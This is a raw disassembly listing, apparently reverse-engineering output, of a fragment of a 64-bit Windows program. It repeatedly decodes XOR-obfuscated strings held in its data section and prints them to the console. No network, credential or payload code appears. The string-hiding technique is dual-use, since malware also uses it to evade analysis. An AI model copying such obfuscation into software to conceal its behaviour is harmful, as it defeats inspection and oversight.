xor byte [rbp + 0x26], 0x3e
xor byte [rbp + 0x27], 0x3f
xor al, 0x40
mov byte [rbp + 0x28], al
lea rdx, [rbp + 0x20]
call fcn.140049a70
mov r10, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movups xmm0, xmmword [0x140056410]
movups xmmword [rbp + 0xc20], xmm0
movups xmm1, xmmword [0x140056420]
movups xmmword [rbp + 0xc30], xmm1
movups xmm0, xmmword [0x140056430]
movups xmmword [rbp + 0xc40], xmm0
movups xmm1, xmmword [0x140056440]
movups xmmword [rbp + 0xc50], xmm1
movups xmm0, xmmword [0x140056450]
movups xmmword [rbp + 0xc60], xmm0
mov eax, dword [0x140056460]
mov dword [rbp + 0xc70], eax
movzx eax, word [0x140056464]
mov word [rbp + 0xc74], ax
movzx eax, byte [0x140056466]
mov byte [rbp + 0xc76], al
xor r8d, r8d
cmp r13d, 2
jl 0x14003d555
movdqa xmmword [rbp + 0x70], xmm10
lea rdx, [rbp + 0xc24]
mov r9d, dword [rbp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add r8d, 8
lea rdx, [rdx + 8]
cmp r8d, 0x50
jl 0x14003d460
cmp r8d, 0x57
jge 0x14003d5a5
movsxd rax, r8d
lea r9, [rbp + 0xc20]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x38
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x57
jl 0x14003d570
lea rdx, [rbp + 0xc20]
mov rcx, r10
call fcn.140049a70
lea rdx, [0x14004a170]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, dword [0x140055fb0]
movups xmm0, xmmword [0x140055f60]
mov dword [rbp + 0xcd0], eax
movups xmmword [rbp + 0xc80], xmm0
movzx eax, word [0x140055fb4]
movups xmm0, xmmword [0x140055f80]
movups xmm1, xmmword [0x140055f70]
mov word [rbp + 0xcd4], ax
movups xmmword [rbp + 0xca0], xmm0
movups xmmword [rbp + 0xc90], xmm1
mov r9, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movzx eax, byte [0x140055fb6]
movups xmm0, xmmword [str._abcdefghijklmnopqrst_V]
movups xmm1, xmmword [0x140055f90]
mov r10, r9
mov byte [rbp + 0xcd6], al
movups xmmword [rbp + 0xcc0], xmm0
movups xmmword [rbp + 0xcb0], xmm1
xor ecx, ecx
cmp r13d, 2
jl 0x14003d755
movdqa xmmword [rbp + 0x70], xmm10
lea rdx, [rbp + 0xc84]
mov r8d, dword [rbp + 0x70]
nop dword [rax + rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x50
jl 0x14003d660
cmp ecx, 0x57
jl 0x14003d755
mov rcx, r9
jmp 0x14003d795
movsxd rax, ecx
lea r8, [rbp + 0xc80]
add r8, rax
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul edx, eax, 0x38
add dl, cl
xor byte [r8], dl
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x57
jl 0x14003d762
mov rcx, r10
lea rdx, [rbp + 0xc80]
call fcn.140049a70
lea rdx, [0x14004a170]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, dword [0x140056550]
movups xmm0, xmmword [0x140056500]
mov dword [rbp + 0xd30], eax
movups xmmword [rbp + 0xce0], xmm0
movzx eax, word [0x140056554]
movups xmm0, xmmword [0x140056520]
movups xmm1, xmmword [0x140056510]
mov word [rbp + 0xd34], ax
movups xmmword [rbp + 0xd00], xmm0
movups xmmword [rbp + 0xcf0], xmm1
mov r9, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movzx eax, byte [0x140056556]
movups xmm0, xmmword [0x140056540]
movups xmm1, xmmword [0x140056530]
mov r10, r9
mov byte [rbp + 0xd36], al
movups xmmword [rbp + 0xd20], xmm0
movups xmmword [rbp + 0xd10], xmm1
xor ecx, ecx
cmp r13d, 2
jl 0x14003d945
movdqa xmmword [rbp + 0x70], xmm10
lea rdx, [rbp + 0xce4]
mov r8d, dword [rbp + 0x70]
nop word [rax + rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x50
jl 0x14003d850
cmp ecx, 0x57
jl 0x14003d945
mov rcx, r9
jmp 0x14003d985
movsxd rax, ecx
lea r8, [rbp + 0xce0]
add r8, rax
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul edx, eax, 0x38
add dl, cl
xor byte [r8], dl
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x57
jl 0x14003d952
mov rcx, r10
lea rdx, [rbp + 0xce0]
call fcn.140049a70
lea rdx, [0x14004a170]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, dword [0x1400572b0]
movups xmm0, xmmword [0x140057260]
mov dword [rbp + 0xd90], eax
movups xmmword [rbp + 0xd40], xmm0
movzx eax, word [0x1400572b4]
movups xmm0, xmmword [0x140057280]
movups xmm1, xmmword [0x140057270]
mov word [rbp + 0xd94], ax
movups xmmword [rbp + 0xd60], xmm0
movups xmmword [rbp + 0xd50], xmm1
mov r9, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movzx eax, byte [0x1400572b6]
movups xmm0, xmmword [0x1400572a0]
movups xmm1, xmmword [0x140057290]
mov r10, r9
mov byte [rbp + 0xd96], al
movups xmmword [rbp + 0xd80], xmm0
movups xmmword [rbp + 0xd70], xmm1
xor ecx, ecx
cmp r13d, 2
jl 0x14003db35
movdqa xmmword [rbp + 0x70], xmm10
lea rdx, [rbp + 0xd44]
mov r8d, dword [rbp + 0x70]
nop word [rax + rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x50
jl 0x14003da40
cmp ecx, 0x57
jl 0x14003db35
mov rcx, r9
jmp 0x14003db75
movsxd rax, ecx
lea r8, [rbp + 0xd40]
add r8, rax
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul edx, eax, 0x38
add dl, cl
xor byte [r8], dl
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x57
jl 0x14003db42
mov rcx, r10
lea rdx, [rbp + 0xd40]
call fcn.140049a70
lea rdx, [0x14004a170]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, dword [0x140056390]
movups xmm0, xmmword [0x140056340]
mov dword [rbp + 0xdf0], eax
movups xmmword [rbp + 0xda0], xmm0
movzx eax, word [0x140056394]
movups xmm0, xmmword [0x140056360]
movups xmm1, xmmword [0x140056350]
mov word [rbp + 0xdf4], ax
movups xmmword [rbp + 0xdc0], xmm0
movups xmmword [rbp + 0xdb0], xmm1
mov r9, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movzx eax, byte [0x140056396]
movups xmm0, xmmword [0x140056380]
movups xmm1, xmmword [0x140056370]
mov r10, r9
mov byte [rbp + 0xdf6], al
movups xmmword [rbp + 0xde0], xmm0
movups xmmword [rbp + 0xdd0], xmm1
xor ecx, ecx
cmp r13d, 2
jl 0x14003dd25
movdqa xmmword [rbp + 0x70], xmm10
lea rdx, [rbp + 0xda4]
mov r8d, dword [rbp + 0x70]
nop word [rax + rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x50
jl 0x14003dc30
cmp ecx, 0x57
jl 0x14003dd25
mov rcx, r9
jmp 0x14003dd65
movsxd rax, ecx
lea r8, [rbp + 0xda0]
add r8, rax
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul edx, eax, 0x38
add dl, cl
xor byte [r8], dl
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x57
jl 0x14003dd32
mov rcx, r10
lea rdx, [rbp + 0xda0]
call fcn.140049a70
lea rdx, [0x14004a170]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, dword [0x140056ac0]
movups xmm0, xmmword [0x140056a70]
mov dword [rbp + 0xe50], eax
movups xmmword [rbp + 0xe00], xmm0
movzx eax, word [0x140056ac4]
movups xmm0, xmmword [0x140056a90]
movups xmm1, xmmword [0x140056a80]
mov word [rbp + 0xe54], ax
movups xmmword [rbp + 0xe20], xmm0
movups xmmword [rbp + 0xe10], xmm1
mov r9, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movzx eax, byte [0x140056ac6]
movups xmm0, xmmword [0x140056ab0]
movups xmm1, xmmword [0x140056aa0]
mov r10, r9
mov byte [rbp + 0xe56], al
movups xmmword [rbp + 0xe40], xmm0
movups xmmword [rbp + 0xe30], xmm1
xor ecx, ecx
cmp r13d, 2
jl 0x14003df15
movdqa xmmword [rbp + 0x70], xmm10
lea rdx, [rbp + 0xe04]
mov r8d, dword [rbp + 0x70]
nop word [rax + rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x50
jl 0x14003de20
cmp ecx, 0x57
jl 0x14003df15
mov rcx, r9
jmp 0x14003df55
movsxd rax, ecx
lea r8, [rbp + 0xe00]
add r8, rax
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul edx, eax, 0x38
add dl, cl
xor byte [r8], dl
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x57
jl 0x14003df22
mov rcx, r10
lea rdx, [rbp + 0xe00]
call fcn.140049a70
lea rdx, [0x14004a170]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, dword [0x140056310]
movups xmm0, xmmword [0x1400562c0]
mov dword [rbp + 0xeb0], eax
movups xmmword [rbp + 0xe60], xmm0
movzx eax, word [0x140056314]
movups xmm0, xmmword [0x1400562e0]
movups xmm1, xmmword [0x1400562d0]
mov word [rbp + 0xeb4], ax
movups xmmword [rbp + 0xe80], xmm0
movups xmmword [rbp + 0xe70], xmm1
mov r9, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movzx eax, byte [0x140056316]
movups xmm0, xmmword [0x140056300]
movups xmm1, xmmword [0x1400562f0]
mov r10, r9
mov byte [rbp + 0xeb6], al
movups xmmword [rbp + 0xea0], xmm0
movups xmmword [rbp + 0xe90], xmm1
xor ecx, ecx
cmp r13d, 2
jl 0x14003e105
movdqa xmmword [rbp + 0x70], xmm10
lea rdx, [rbp + 0xe64]
mov r8d, dword [rbp + 0x70]
nop word [rax + rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x50
jl 0x14003e010
movsxd rax, ecx
lea r8, [rbp + 0xe60]
add r8, rax
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul edx, eax, 0x38
add dl, cl
xor byte [r8], dl
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x57
jl 0x14003e112